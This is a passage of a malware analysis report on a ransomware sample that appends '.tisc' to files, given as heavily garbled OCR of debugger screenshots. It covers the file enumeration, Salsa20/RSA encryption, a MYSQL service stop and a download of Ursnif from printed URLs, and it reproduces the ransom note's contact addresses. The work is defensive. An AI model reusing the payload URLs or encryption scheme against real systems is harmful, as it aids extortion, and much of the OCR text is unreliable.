Please note that you'll never restore your data without payment.

Check your e-mail "Spam™ or "Junk™ folder if you don't get answer more than € hours.

~3 @ s W

e
WM = O W

"

To get this software you need write on our e-mail:
manager@mailtemp.ch

w0 om -],

=

Reserve e-mail address to contact us:
supporthelp@airmail.cc

TR R TR T T

b
I

3 =

(5

(¥
B

Your personal ID:
25 033695d743duFHWNTbiwCkJEeUg8JHISzLarwudidH8XsPzHDt 1

Figure 112
The files are enumerated using the FindFirstFileW and FindNextFileW APIs:

51 push ecx MBTSW_SF 0 XB7SW_P 0O X87SW_U O
5 ush eax
LT h dword ptr dsi[<aFindrFirstFilews] ¥

o= cmses b, | pefaut (stocal) >[5 [0 unlock

1t 9 (=
pTr . T W - e 2: [esp+4] O56AFBLO0
3: 02CFCBCO
4 02D15E6S

SText:0015F013 wininet_dump. exe: $FD13 #FD13

@oump1  YHoump2  EHDump3  YMDump4  WDumps % watchi  Iv=lLocals ;’Slruct

. pusa eax | XB7SW_SF D XB7SW_P O XS87SW.U O
S| e51
& dword ptr ds:[<4FindNextFilews] | v |—
R R T, SN 5 |Defaut (stdcal) >[5 151 unlock

+ [esp]
2: eSD-ﬂq 056AFB10
3: [esp+8

02CFCBCO

- Text:0016005A wininet_dump.exe: $1005A #1005A

@Woump1  §Dump2 @Dump3  @oump4  SWOwmp5 & watch1  lx=llocals 4 Struct m “Wmd
Figure 113

The directories mentioned under figure 89 will not be encrypted. The file extension is
extracted by calling the PathFindExtensionW routine:

15 eax eaxiL
gm dword ptr ds:[<aPathFindExtensionw>] I

esp] LC:
esp+4] 02CFCBCO
3: Eesmsi 02CF449C &L"C:\\706d7fd "
esp+C] 02CFD440

Ifiwéuré 114
The files and file extensions mentioned under figure 89 will be skipped. The ransomware

also avoids files that have the “.tisc” extension because this will be appended after the
encryption is complete:

s = s = - = T =T o
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o

XBTSW_SF O XB7SW_P O xB75a_U

_~ [5 12100 unkd

esp+4] 02D15ECA L, TXT"
bec] OICFatoe 4L CI\\708d7

"C: o

. TEXT:0015FFTE wininet_dump. exe: SFFTE #FFTE e tina Ha D60 ¥ —\

Woump1  @oump2 l!imma Woump4  WhDumps @ watch1  bellocals P Struct

o || DOISFFC2 push ecx : ISQH_SF 0 XB7SwW_P )(875'_ o
sLor

el UDISFFC SD push eax
v [5 2] urkod

nn s T

esp+4] DSGAFBIC L"101.TNL”
esp+8] 02CFCBCO e

fns PpHC 4 “C: 0\ Toed7 o I
. TexXT:DO1SFFC4 wininet_dump. exe: SFFC4 #FFC4 Jeaptel O2CPARAC. 8L CANTOE —_—

Wouww1  @Moump2  EWoump3  oumps  Whoumps @ werhi  Pedloals i stuct
53

i | -os|ooisere push ebx X | x87sW_sF 0 x875W_P 0 x87TSW.U O
o} D01S5FFEE 50 push eax Dl N L
_l i ’. 7 5 D1 ninet_dump.171C02]

P T : Defaut (stical) ~ [5_[2]0] uniod
esp+4] 02D15ECA e
ﬁnrﬂ 02CFCBCO
02CF445C &L C:\\706d71d nmmu———"

.Text:0015FFEF wininet_dump.exe: $FFEF #FFEF

@oump1  @oump2  @Hoump3  Hpump4  PHoumps @ watchi  beellocals P Stuct

Figure 115
Each targeted file is opened using the CreateFileW routine:

D01611E6

x87Tagword FFFF
XB7TW_O 3 (Empty) xB7TW_1 3 (Empty)
X87TW_2 3 (Empty) X87TW_3 3 (EmpTy)

xB87TW_5 3 (Empty)
X87THW_6 3 (EmpTy) X8TTW.7 3 (Empty)

[ebp-7c [ x87Statusword 0000

ebx:L"C XBTSW_B O xBTSW_C3 O xB7SW C2 O

mov dword ptr XB7SW CL O XxB7SW_CO O xB7SW_ES O
mov Mrg ptr e XBTSW_SF O XB7SW_P 0 xB7SW.U O
dwo r | — .

~ s 210 unioa

00161208

«text: 0016120F wininet_dump.exe: $1120F #1120F
%0ump1  @HDump2  WHDump3  WhDumps  UhDumps &8 watchi

Figure 116
The file content is read by calling the ReadFile function:

AGIIM_D 3 LSIMLY)  AG/IM_ 3 LEWELY)

DOLE13F5 ?u

ea eax dword ptr ss:ffeb zo.
mov dword ptr ss:febp-2 XB7STatuswWord 0000

XB7SW_B O xB7SW C3 O xB7SW C2 O
XB7SW_C1 O xB87SW.CO 0 XxB7SW_ES O
xB7SW_SF 0 xB7SW_P 0O x87SW_U 0O

- Text: 00161409 wininet_dump.exe: $11409 #11409

Wioump? UDump3  UDump4 le=lLocale 4 Struct

Figure 117

There is a function call to CryptAcquireContextW (as in figure 72) and another one to
CryptCreateHash (as in figure 73). The malware hashes a buffer that contains the first 5
bytes from the targeted file and the RSA public key, as shown in figure 118:

| ro1sEBST
OO15EB49

XB7SW_B 0 xB7SW C3 0O x87Sw.C2 0O
XBTSW_C1 O xBTSW.LO O xB7SW_ES O
XB7SW_SF 0 XB7SW P O XxE7SW U O

OOD1SER4A
1 D015EB4E

02D10BE0
000001DF
- TexT:0015EB4E wininet_dump.exe: SEB4E #EB4E

Wowp1  YHoump2  WHDump3  YHDump 4

Y% Dump 5

02D10C10| 69 47 39 77(30 42 41 51[45 46 41 41|4F 43 41 51| iGIWOBAQEFAADCAT e e el -====BEGIN PUBLIC KEY----- WWA\NMIIBIjANBQI

Figure 118
The MD5 hash value is extracted by calling the CryptGetHashParam routine (0x2
= HP_HASHVAL):
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RS/ DLALUSWUT U UUuY

XBTSW_B O xBTSW.C3 O xB7SW C2 O
XB7SW C1 O xB87SW.LO O xB7SW_ES O
XBTSW_SF 0 XB7SW_P O XB7SW U O

8 wininet_dump.exe: $EBCS #EBCB
Woump1  gHDump2  @Hoump3  Woump4  @EDumps 8 watch1

cce st w0 20 salen 20 20 2010 o0 20 wolon B %2 ol Lo

D2CF4448 5

Figure 11

The binary creates a new UUID (16 random bytes) by calling the UuidCreate API (which
internally uses CryptGenRandom):

0 X87SW_U

(]

=[5 =100 unloa

05560000 “abce
2] 76e114¢ kernelbase.76E8114F
erne e.
.TEXT:001SCSDA wininetr_dump. exe: SCSDA #CSDA

L, . e - sl ke

Figure 120
The process converts the UUID to a string using the UuidToStringA API:

XB7SW_C1 0 xB75W_CO O xXB7SW_ES O
o

sh eax
u“eax,duwd ptr ss:fespr14f XB7TSW_SF O xB7SW_P O xB7SW_U
eax - : .

ous
&UuidTostri
R

- Text:0015C5F6 wininet_dump.exe: $C5FE #C5F6
Woup1  oup2  WDup3  WhDups  oumps 8 wetthi  Ie-llocals 4 stuct

02026688

02D26698
020266A8 00 AB AB AB|AB AB AB AB|AB FE EE FE ceaaasaaabib

Figure 121
Based on the value generated above, the ransomware constructs the following Salsa20
matrix:

A snippet of the Salsa20 algorithm implemented by the malware is presented below:
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il e =

Ltext:eels>Clq2

Ltext:80815C142 loc 15C142:

Ltext: 88150142 add eax, ebx
Ltext:80815C144 mov ebx, [ebptvar_38]
Ltext:8815C147 rol eax, 7
.text:8a15C14A xor [ebp+var_B], eax
Ltext: 88150140 mov eax, [ebpt+var_8]
Ltext: 88150158 add eax, [ebpt+var_18]
Ltext: 88150153 rol eax, 9
.text:8815C156 xor [ebptvar_C], eax
.text:8815C159 mov eax, [ebptvar C]
.text:8815C15C add eax, [ebptvar_ B8]
Ltext:8815C15F rol eax, BDh
Ltext:8815C162 xor ebx, eax
Ltext:8al5C164 mov eax, [ebpt+var_C]
Sgext:8815C167 add eax, ebx
Ltext:8815C169 mov [ebptvar_38], ebx
Ltext:8815C16C ror eax, BEh
.text:80815C16F xor [ebptvar_18], eax
Ltext:8815C172 mov eax, [ebptvar_14]
.text:8815C175 add eax, [ebp+var 1C] |Figure 123
Ltext:8815C178 rol eax, 7
Ltext:8815C176 xor [ebptvar_28], eax
Ltext:8815C17E mov eax, [ebpt+var_28]
.text:8815C181 add eax, [ebptvar_ 1C]
Ltext:8815C184 rol eax, 9
Ltext:8815C187 xor esi, eax
.text:8815C189 mov ebx, [ebptvar_ 28]
.text:8815C18C mov eax, [ebpt+var_28]
Ltext:8815C18F add eax, esi
Ltext:8815C191 rol eax, B0Dh
Ltext:8815C194 xor [ebpt+var_14], eax
Ltext: 88150197 mov eax, [ebptvar_14]
Ltext:8815C194 add eax, esi
.text:8815C19C ror eax, BEh
.text:8815C19F xor [ebptvar_1C], eax
Ltext:8e815C1A2 mov eax, [ebpt+var_4]
Ltext:8815C1A5 add eax, ebx
Ltext:8815C1A7 rol eax, 7
Jext:8815C1AA xor edx, eax
text:8815C1AC mov eax, [ebptvar_ 4]
Ltext:8815C1AF add eax, edx

tavk RRTIE1RT Al Smr Q

The process encrypts the file content using the Salsa20 algorithm, however the first 5 bytes
from the targeted file are not encrypted. Based on the strings presented in figure 124 and our
analysis of the RSA implementation, we believe that the malware developers have included
the OpenSSL code found at https://github.com/openssl/openssl (or similar code taken from
other projects):
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il e =]

Ltext:881B9CEE

.text:881B9C8E loc_1B9CEE:

.text:@81B9CBE call sub_1Ale38

.text:@88169C93 push 182h

.text:@88169C98 push offset aCryptoEngineEn_@ ; ".‘“\crypto\iengine\\eng_table.c
text:@alBaCol push 1Eh

text:@81B3C9F push g

text:@81B3CAL1 call sub_ 1A474AB

Ltext:@81BACAE mov ecx, [edi]
.text:881B9CAE add esp, 18h
Tdextied1BoCAE test ecx, ecx
.text:88169CAD jz loc_1B9D78

] e 55

Ltext:BalAATE2 push 64h ; 'd’

Ltext:BelAATEL push offset aCryptoEngineEn ; ".‘\\crypto\\enginel\eng_init.c"
Jtext:@alanya push 1Eh

Ltext:@8lAA7EE push g

.text: 08188780 call sub 1A4728 ;
Ltext:@81AA792 add esp, 18h Figure 124
L TexT:BeIAINdE push esi

Ltext:@8lA1041 push 8Bk ; T4 o Ank

text:88la1046 push offset aCryptoRsaRsali ; ".\\crypto\\rsa\\rsa_lib.c"
Ltext:8elA104B push 58h ; "X’ ; size t

Stext:@alalDal call sub 1A4E58

Ltext:881A1D52 mov esi, eax

Ltext: 88141054 add esp, BCh

Jtext: 88141057 test esi, esi

.text:881A1059 jnz short loc_1A1D77

s

Ltext:eeladzDe

LtextieelArZDe

JtextieelaszDe

Stext:@alAs2De sub 1AAZD® proc near

Ltext:@alAADe mov eax, offset off 258754 ; "Eric Young's PKCS#1 RSA"™
Ldext:#81AA2D5 retn

Ltext:@81lAA2D05 sub 1AAZDE endp

LtextieelAs2Ds

The binary encrypts the UUID generated before using the RSA public key embedded in the
file:

€A 00 push O
B4 O push x@7statusword 0000
FF 74 24 28 push dword ptr ss:[fesp+2sl XBTSW_B O xBTSW_C3 O xBTSW.CZ O
FF 74 24 30 push dword ptr ss:fesps30) XB7SW_C1 0 xB7SW. CO O x87SW_ES O
55 push ebp XEBTSW_ SF 0 XB7Sw_| P O XBTSW_U [}
53 push ebx ’ eimm e
E8 BE F5 00 00 CEIT wininet_dump. 1887F0/ v
STt ‘i > De’a.ll(!hdﬁﬂ * |5 [#1[] Unlock
...... [esp] 02018230
w‘l'rﬁ'net_ﬂ'llm D01BS7FO 2: [esp+4] 00000100
3: [esp+8] 02D26568 "32031ec6-6d18-4594-a2cc-17|
e 4: [esp+c] ooooO0O2S
< TexT; 00149260 wininet_dump.exe: $59260 #59260 =

P 02018230
Whoumpi  Woumpz  WhDump3  WDumps  Woumps @ watchi  Ir-llocal ) stuct oy
Address | Hex m:[j ~ || O56AF4FS | 02D26568| "32031ec6-6d18-4594-a2cc-17b803dc6852"
02CD6FDE (0D FO AD BA|OD FO AD BA|0D FO AD BA|OD FO AD H.-a“.a.‘.a“‘a.?

| . & 05 6AFS00 | 00000000
02CD6FES |00 FO AD BA:DD FO AD BA|0D FO AD BA|OD FO AD BR 0 b .. .E.F.Ey' D5EAFS04 | 00000000

02CD6FDSE | 7D FB 25 54[CO 7B E
02CD6FES DB 28 1A 48|34 BD

02CD6FF8 (BF DS BE FF |12
02C07005 |BF DF F3 DC
02C0T018|CO 77 99 7F
D2CD702E8 (14 4B 26 96
02C07035 [0C 9A BE CB
02CD7048 |72 B3 5D BE
02C07058 |DF D1 D9 64

{7
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BA 64 E2 DA/ ﬁ:;:l- +0v.oxjday

6. §. . W
DC 2E 5F €O AdolE..]p. el A
DS 26 34 EL plu_é.d,asdwUsia

yagne
nme
ne
g

&

o

£

e

-1

5

2220REEA

BURERSDEEEE
BULEOLERIRRR

8588
DRESGUEAR

02CD70CS (70 7D F9 S5F

Figure 125
The encrypted content is written to the file using WriteFile, as shown below:

o
n
m
L=l
m
[
o
"
"
"
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®|| 00161848 o0 pusn 0
o/ 00161844 push ecx x87Statusword 0000

®(l 00161548 75 A4 push dword ptr ss:l[febp-5c] XB7SW_B 0 XB7SW.C3 0 xB7SW L2 0
o oo1s184E 45 B4 00 0D DO 0O mov dword ptr ss:ffebp-7cf,0 XB7SW_C1 0 xB7SW.CO O xB87SW_ES 0O
®( 00161855 push eax XBTSW_SF 0 K!?SN_I’ 0 XB7SW_U o
e 00161856 push esi [ 1=
+ R

Default (stdcall)

esm os GAFA0
esmc 056AFABD

.TexT: 00161857 wininet_dump.exe: $11857 #11857
IhDunM @oump2 @Moump3  @oumps  Whoumes @ watchi  Ie-llocals ) St

B3 P G

nu-u-un 303 BE Nnlas A LA QR 0T De AT od|aalu CZ

Figure 126
The malicious binary writes the encrypted UUID using the same API:

®|| DO01E15ED 0o ?usn 0
001615EF ea ecx,dword ptr ss:[febp-30f x875tatusword 0000

[| coLE15F2 51 push ecx X87SW_B O xBYSW.C3 0 xB7SW._C2

O1615F3 push dword ptr ss:[febp-s4f XBTSW_C1 0 xB7SW_CO O NXB7SW_ES

01615F6 50 push eax XBTSW_SF 0 XB7SW_P O XB7SW_U

001615F7 push esi e -

esp+4] O2CDEFDB

<Text;001615F8 wininet_dump.exe: §115F8 #115F8
Woup!l  WhDump?  @hDump3  WDump4  WWoumps @ watchi

0OSGAF9E4 | 02CDEDAB

056AF9ES | 02CDEDAB

05 6AF9EC | 02CFCBCO

05 EAFIF0 | D5 BAFACC

056AF9F4 | 61707865

O56AF9FE | 33303233

O5GAFSFC | 36636531

O56AFA00 | 31643620

O5EAFAD4 | 35342038

056AFAQE | 3320646E

O56AFADC | 33303233

O56AFALD | 36636531

056AFAL4 | 00000001

- : 2 x> e = L O5EAFALS | 00000000
02CDTOCE L : L NERAFAIC | 7R3N

Flgure 127
The offline ID is also added to the encrypted file:

ADI1 A PITIULULULULUTOE33% 314 EIELY TIVETTY

TS| @ % o fea sax, aword prr ss:lebo-so X87r2 FEFFS7FFSEDIADOS0E ST2 EMpy snan
ol cois1613 €6 43 ET 00 mov byte ptr ss:febp-191 X87r3 FFFFTDFS25548553EF46 ST3 Empty invalid
o|oo1s1617 50 pusn eax eax:“uf | %B7r4 FFFFO4DADSADF4G64EAF4 ST4 Empty invalid
o/ 00161618 8B 45 DC mov eax,dword ptr ssiffebp-24§ x87r5 FFFFOO0000005643F76C STS Empty invalid
o 00161618 FF BO &0 08 00D 0O h d ptr ds:[eax+B&0] XB7r& FFFF3B27FCB303F156AC S5T6 Empty invalid
o| no1s1621 05 50 08 00 00 eax: "uF X87r7 FFFF2DB7D670080CDI96 ST7 Empty invalid
8| 00161626 83 EC 18
®|| 00161629 88 cC x87Tagword FFFF
e| 00161628 50 eax: "uf
o oorsisac E8 7F 1A 00 00 wininet_dump. 163080 e pii e S o st
o) 00181831 BA 55 ET mov d1,byte ptr ss:febp-190 ¥ ¥
o[ 001s1634 8D 4D 94 lea ecx,dword ptr ss:febp-ecl - X87TW_4 3 (Empty) XB7TW.S 3 (Empty)
o 00161637 ES 04 12 00 00 caln uinimt_duw.muo A87N.6. 3 LEApty), XEZTMLZ A (PEpTY)
e 0o16163C 83 C4 18 add esp,1
o[ no16163F 83 78 14 10 um Mrd ptr ds: [eax+14],10 xg75tatusword 0000

t----|| 00161643 ~ T2 02 jb wininet_dump. 161647 xB7SW_B 0 XxBTSW.C3 O xB7SW.C2 O

| e[ oolsiess 88 00 mov eax,dword ptr ds:[eax] i XB7SW C1 0 xB7SW CO O x87SW ES O

L--ef oo1s1647 50 push eax T XBTSW_SF O XB7SW_P O X87SW_U O
#( 00161648 56 push &5 e

oolsicis BEALH B et = ~ [5 ] 0] unod

esnﬂ ozosa:lu “UFHWNTDJwWCkJEEUgBIHISZLOrn

. TEXT: 00161649 wininet_dump. exe: $11649 #11649 OSGAFABC

lﬁm; oump2  EMoump3  EHoumps  PHoumps @ watchi  bellocals ) Struct

02CD6FDS 0E.DL 022010 CD 02 [EE FE EE FE|EE FE EE FE|@.K.D 1p1pipip

Figure 128
The value “{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5} is also added to the encrypted

file:

00161660 00 o R A e S
00161662 guu eax,dword ptr ss:febp-s0f XBTTW_6 3 (Empty)} x87TW_7 3 (Empty)
00161665 eax

00161666 wininet_dump,. 2 ] x875tatusword 0000

00161668 EEC1 21 00 dword ptr ds: [4!:"1-»] XBTSW_B O xBTSW.C3 O xB7SW C2 O
00161671 eax NBTSW_C1 0 xB7SW.CO 0 xB7SW_ES O
00161672 &8 wininet_dump. 254448 MBTSW_SF O XBTSW_P 0 X87SW_U o
00161677 : 7 push esi -

-Text: 00161678 wininet_dump.exe: $11678 #11678
“Duml ﬁm!

|"=igure 129
The encrypted file extension is changed to “.tisc” by the ransomware:
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50 | push eax i |
push dword ptr ss:

gaxiL"c
[ebp-7

XBTSW_SF O XBTSW_P 0 xX87SW_U o

ebp-7008
| call dword ptr ds={¢wuvzi1‘1m] |

-TEXT: 00161606 wininet_dump.exe: $116D6 #116D6

¥ Dume 3

| @oump1  goump2 @ watch 1 # Struct

Figure 130

Yo Dump4 3% Dump S =] Locals

G =
"y | Defaut (stcal) -

E T
23
3
H

| #: [espec] oxcoenas

esp] D2DISESS L'C:\\7!
[esp+4] 02058038 L"C:\\706d7T

: [espsB] D2CDEDAS

The encrypted file has the following structure that highlights different elements:

B 101 btisc

Offset (h) 00 Ol 02 03 04 05 06 07 08 0% OA OB OC OD OE OF
00000000 [f1 62 &3 €4 65] 24 09 SE|[JD F& 25 52 CO 7B EB C9| Bbcde$.ZlesTA{EE
00000010 [08 CC 2C 5B 7C 62 76 C7 DB 28 1A 4B 34 BD 8B D0O| .I,Z|dvCU(.K4¥xD
00000020 [6C A7 A2 FF 2B 87 EC 69 BF D5 8E FF 12 C6 Ch Bl| 1Scy+¥ii;0Zv.EE:
00000030 |06 EE 2A 75 FB 6A E2 3B BF DF F3 DC 29 57 20 88| .i*ufijd::B60)W -
00000040 D3 €E ES 1A 97 F4 A€ 2D C9 77 99 7F 91 DB 41 35| Oné.—5)-Ew™. UA9
00000050 [9A OE 07 12 E1 3D S5 29 14 4B 26 96 9B 54 74 D3| 3...4=+).K&—>Ttl
00000060 |60 BC €7 C3 2A 6E 48 7C OC SA BE CB BS B7 7D 91| “wgl=nH|.3%E:®-}°
00000070 WS 7B FC 64 70 1C 34 06 72 B3 5D 8E 78 44 FE 5C| I{ddp.4.r*]1ZxDp\
00000080 |93 85 A7 E5 25 E3 OB EB D7 D1 D9 &4 5C 82 AC B3| *.§3%3.&=HUd\,-°
00000050 [F3 29 E8 66 6F 53 15 9B BF D8 53 A7 OB 8D 03 01| &)&foS.»:@5§....
O00C00R0 [CF 55 BO FF 22 F3 3A 5D 2B 8A 14 94 1B DD 27 D1| Iu°g"o:1+5.~.1'R
000000BO B2 CD €6 CS OB 80 88 2A 7D 91 B2 A4 F2 48 €6 ER| =IfE.€~*} =ndHfE
000000CO |91 98 €E E6 DO B6é EO SF BF 4E 5C E6 C2 AA 07 F4| ‘~nxbIa¥:N\zd=.5
000000D0 |56 97 €F D7 6A €4 E2 DA DA DE AS 36 04 ED 9B 05| V—ox=jdaUUB¥6.i>.
O0O0C0O0E0 3 2D 2D 55 E3 00 60 76 E5 D2 6F DC C8 OA 1E 5D| #--U3a. vaOolE..]
000000F0 [B5 8D 89 EB DC 2E SF CO 70 7D F9 SF EA 85 E4 06| p.%&l. Aplu & &.
00000100 [EO E1 D5 25 DS 26 34 E1[[TS 46 48 77 4E 37 62 €A aa0sUs4auFHWNTD]
00000110 [T7 43 €B 4B 45 65 55 67 38 4A 48 49 53 7A 4C 71| wCkJEeUgS8JHISzLg
00000120 [72 77 75 64 69 64 48 38 58 73 50 7A 48 44 74 31| rwudidH8XsPzHDtl
00000130 [JB 33 36 41 36 39 38 42 39 2D 44 36 37 43 2D 34| {36A698B9-D67C-4
00000140 |5 30 37 2D 42 45 38 32 2D 30 45 43 35 42 31 34| E07-BE82-0ECS5Bl4
00000150 |42 34 44 46 35 7D B4DF5}

Figure 131

“—AutoStart“ parameter
The activity is similar to the case discussed above.

“—Admin IsNotAutoStart IsNotTask“ parameters

The binary establishes a connection to the service control manager by calling the

OpenSCManagerW routine (0x1 = SC_MANAGER_CONNECT):

64 01
6A 00

push 1
push 0

push 0
| €2l dword ptr ds:[<&0penSCManagerw>]

Fﬁa‘E:'—r[ﬁiiewaﬁﬁm—_ufﬁrmw————miﬁﬁr-@ﬁ:z.opmsc-m» 7
3
4

XBT7SW_SF O XB7SW_P

X8TSW_C1 O x87SW_CO O XxB7SW_ES O
1 xXB7SW_U o

x||5

m mis:u L7C: '\ 70607 f ONEE ", 101 . TXT"
056AF9ED | 02D58038 | L C:\\706d7 T, 101. TxT.Tisc"

[ unlock

00000000

00000000
i [esp+8] 00000001
: [esp+c] oooooooo

-Text:00161A1D wininet_dump.exe: $11A1D #11A1D =

@ watch1 | 1=l Locals
lasrrr i

4% Durmo 1
| address | max

Figure 132

Weoump2  @Dump3  @hDump4  WDumps ji"sm_

(0x20 = SERVICE_STOP):

00000000
DO3CE2AD  DOOODOO0
|| DO3CE2A4 | 00000001

A service called “MYSQL” is opened by the process via a function call to OpenServiceW
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push XB7SW_C1 0 X87SW_CO O xB7SW_ES O
push wininet_dump. 250268 250268: XB7SW_SF 0 XB7SwW_P 1 xB7SW_U o
} B - ds:[ 1 i i
ca ptr ds:[<tOpenservicew: w |
i p 3 Default (stdcal) =||5 ¥
e - — - - — 1: [esp] D28C26FO
d ptr [0021C044 <wininet_dump.&0penservicews>]=<advapi32.Openservicew> 2: [esp+4] 00250268 L MYSQL"
F H FQSD*S 00000020
-l: i} 7
< TeXT: 00161432 wininet_dump.exe: $11A32 #11A32 = ESH 233?D -
& T
oup1  oump2z Woump3  @Houmpd  Woumps @ watthi  ellocals g Stuct DOCEISC W;EW‘:!;LW
| andrnce | usv laerer i . | 0o3CE2A0 | 00000020 |

Whether the service would exist on a host, the ransomware would stop it using the
ControlService API:

il sl =]

Ltext:@8161A3E push edi

Ltext:@8161A3F lea eax, [ebptServiceStatus]

Ltext: 88161442 push eax ; lpServiceStatus

Ltext: 88161443 push 1 ; dwControl

.text:88161A45 push esi ; hservice

Ltext:88161A46 call ds:ControlService

Ltext:88161A4C mowv edi, ds:CloseServiceHandle

TdextieslelAs52 test eax, eax

text:@8161A54 jz short loc le1AAB Figure 134

Y

] s =]

text

text

:88161A56 lea

:@0161A63 jz

eax, [ebptServiceStatus]

short loc_161A9D

Ltext:88161A59 push eax ; lpServiceStatus
Ltext:B8161A54 push esi ; hservice
.text:88161A58 call ds:QueryServiceStatus
Tdext:edlelAasl test eax, eax

The file decrypts another URL that will be used to download more malicious files,
http[:]//znpst[.]top/dl/build2.exe:
Address

028C6188
028Ce198 | 2F

Hex

B 4 74 FOI3A 2F 2F FA(GE FO 73 74 (2E 74 GF FO
64 6C 2F |62 75 69 BC |64 32 2E 65|78 65 24 72
028C61A8 |75 6E 20 68|74 74 70 3IA|(2F 2F 73 65(63 75 72 65
028C61B8| 62 69 FA 2E|6F 72 &7 2F|(66 62 6C 65|73 2F 31 2F
028CHICE| 62 75 62 6C |64 33 2E 65(F8 65 24 72|75 BE 00 F2

A new thread is created by calling the CreateThread function:

| AsCII |
http://znpst.top
Jd1/buildz2. exesr
un http: //secure
biz.org/files/1/
build3. exe$run.r

Figure 135

D ar o Mot 3 LEWELYS  AGY W3 3 LEmMLYJ

gi ,57,,‘3, e gﬂ:: 0 S xE’T\\_E 3 (Empty) XB7TW_7 3 (Empty)

BE 40 D4 mov eax, :Iwnrd ptr ds:[eax=4]

83 CO 08 add eax, xBTStatusword 0020

50 push eax X87TSW_B O X87SW_C3 0 Xx87SW.C2 O

68 DO DB 16 00 push wininet_dump.16DBD0 XB7SW_C1 0 XxB7SW_CO O XB7SW_ES O

22 00 80 1A D6 DuS: 61AB00C XBTSW_SF O XSTSW_P 1 XBTSW_U o

) push o0 =
FF 15 74 €1 21 00 | €&11 dword ptr ds:[<aCreateThreads] v =
; ~ - , | Defauit (stdcar) * |5 |#1[0 unlock

dword ptr [D021C174 <wininet_dump.&CreateThreads]=<kernel3z.createThr ead> 2: E““’L 06148000

3: [esp+8] 0OLEDBDO wininet_dump,0016DBDO
4: [espsC] 02932080

: . I._“
DO3CEZBC osumu
DO3CEZ2CO
NBCEK& 02932080
D03CE2CS  DO000000
DﬂKEKC 00263258

-text:0016A7BE wininet_dump.exe: $1ATEE #1ATBE

@ watth1  [x-llocals 4 Struct
| asc1z |

00 0D 00 00|00 00 OD OO M. .cvvvonnonsenn

JJ JI. JJ |I.' lJ‘ JJ )I. JJ| . sranen

W Dump3 @ Dump4 @4 Dumps

dump. 0

02950920 () 00 00 00|00 00 OO0 0O
02950530 JJ JU JI] JJ ) 0o 00 oo

Figure 136
Thread activity — StartAddress (sub_16DBDO0)

wininet_dump. 00263258

UuidCreate is utilized to generate a new UUID:
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ush eax I T
Sﬁl dword ptr ds:[<aUuidcreate>] 1

bl oy |
, | Defaut fstdcal) = ||s '+ [ unlock

2 e5p+41 001EDEDO w1n1inet_dump. 0016DEDO
3: [esp+8] 0016DBDO wininet_dump.0016DBDO
4: [esp+C] O2EB0638

Figure 137
The UuidToStringA routine is used to convert the UUID to a string:

i . s0 push eax XB7SW_C1 O XB7SW_CO O XB7SW_ES O

' [ 8D 54 24 14 01 00 0O lea eax,dword ptr ss:fesp-114) XBTSW_SF O xB7SW_P O xB7TSW.U O

: C 50 push eax " des[ ] [

f FF 15 QC €3 21 00 call dword ptr <&UuidTostringas v —

1 , |Defaut (stdcal) w (|5 3 |[] uniock
L.

l: OBAED4CE

esp+4] OBAED420

esprB] DOLGDBDO wininet_dump.0016DBDOD
3: [esp+c] 0016DBDO wininet_dump.0016DEDO

ptr [0021C30C . ngA>J=<rpcrts. nga>

we

-TEXT: 00160057 wininat_dump.exe: $1DD5ST #1DDST i

Woup1  oup2  WDuw3  Wouw4  Boumws @ wathi  bellocls st R e den]

0220208 |32 38 31 63/00 AB AB AB|AB AB AB ABIAB FE EE FE|28i€. uuuublh

Figure 138
The malicious process creates a new directory based on the UUID generated above:

XBTSW_SF O XB7SW_P 0 Xx8TSW_U o
———

push o
ebx;*'C:

gusn ebx
dword ptr ds:[<&CreateDirectoryas]

5 | Defaut (stdcal) ~|[s 121 uniock

espl
(2: [espr4] 00000000
| 3: Lesp+8] 0016DBDO wininet_dump.0016DBD0
H [esprc] D0LEDBD0 wininet_dump. 0016DEDO

-text:0016000C wininet_dump.exe: $1DDDC #1DDDC

Woump1  @Hoump2  @hDump3  @oumps  @Houmps BB watcht  beellocals 4 struct

00160BD0 | wininet_dump. 0016DED0
00160800 | wininet_dump. 0016DBD0
02EB0638

]

Address ASCIT il =5
02E99758 3A 5C 55|73 65 72 73(SC SC 41 70 70 E:'-\users'ﬂ‘-.app
02E99768| 44 61 74 61|5C 4C 6F 63|61 |30 31 64 35|Data\Local\boids
02E99778| 64 31 37 20|66 35 61 36|20 34 63 30|35 20 61 64|d17-T8a6-4c0n5-ad
02E99788( 63 61 20 3631 33 62 32|30 65 36 3238 31 63 00| ca-613b20e6281c.

Figure 139
The binary performs a GET request to http[:]//znpst[.]top/dl/build2.exe using
InternetOpenUrlA:

pus: e:x 2ax: "ht NETSW_SF O XBTSW_P 0 XB7TSW_U 4]
ush edi
dword 5% [<aInternetOpenur 1A W . 3
I ptr dsil { pe 1 ) _"'1::"""' SRR
net. Internetopenur 14> I2: [espr4] 02EB4138 “hrtp:/ /znpst.top/d) /buildz,
3: 00000

- TexXt:0016E078 wininet_dump.exe: S1E078B #1E078

WWoump1  YHoump2  UWDump3  WWDump4  WHoumps @ waihi  Ix-llocals .;;rstmct

02E99798( 00 00 00 00
OZE997AS | 00 :lCl DD OD

Fl'gu"re 140

According to the analysis from
https://any.run/report/cd6bf2f554a9aa446cb36d28e374e1010268cbda8f55eb0043fbe6e2724
128be/152e55c2-5e8f-4fe2-a764-7876ba00f03e, the above executable is a malware called
Ursnif (banking Trojan).

00 00 00 00|00 00 00 00|00 00 00 00| sussssssssnnsssne
CI‘J OO UD ‘JD OO IJCI 'JD OO DJ DD DU CIU ................

The status code is extracted by calling the HttpQueryInfoW routine (0x20000013 =
HTTP_QUERY_FLAG_NUMBER | HTTP_QUERY_STATUS_CODE):

A i o A A o sy g

&1 s 6A 00 | push o

MNE 80 84 24 BC 00 0O 00 ea eax,dword ptr ss !es e | XBZTH & 3 (E"'ptf"'] X87TW.S 3 (Empty)
ME €7 44 24 7C 00 00 00 00 |mov dword ptr ss:ffesp ; XB7TW_€ 3 (Empty) x87TW_7 3 (Empty)
- 50 | push eax

. 8D B4 24 BO 00 DO 00 |1ea eax,dword ptr ss:fesp-sol [espe&C xB7Statusword 0000

. €7 84 24 CO 00 00 00 04 og may | dword ptr cc:fesprcof, 4 XBTSW_B O XB7SW.C3 0 XB7SWCZ ©
o 50 |push eax MBTSW_C1 0 x87TSW_CO O xBTSW_ES O
. 68 13 00 00 20 push 20000013 XB7SW_SF O X87SW_P O XB7SW_U O
5 L ABEEN SE £

. 53 [<avtTpqueryInTows] 1

- ptr dsi[ pQueryT 1 o E::i}fj )

. Text:D016EL0D0 wininet_dump. exe: $1IE100 #1E1DD

WWoump:  @oump2  Woump3  @Woumpd  @oumps @ warh1  Pellocals Y Struct

